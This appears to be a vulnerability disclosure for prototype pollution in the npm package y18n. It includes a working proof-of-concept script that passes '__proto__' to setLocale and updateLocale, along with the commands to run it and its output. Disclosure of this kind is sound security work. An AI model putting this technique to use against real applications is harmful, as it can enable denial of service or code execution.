Description

y18n is vulnerable to Prototype Pollution. This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.

Proof of Concept

1. Create the following PoC file:

// poc.js
const y18n = require('y18n')();
var obj = {}
console.log("Before : " + obj.polluted);
y18n.setLocale('__proto__');
y18n.updateLocale({polluted: 'Yes! Its Polluted'});
console.log("After : " + {}.polluted);

2. Execute the following commands in another terminal:

npm i y18n # Install affected module
node poc.js #  Run the PoC

3. Check the Output:

Before : undefined
After : Yes! Its Polluted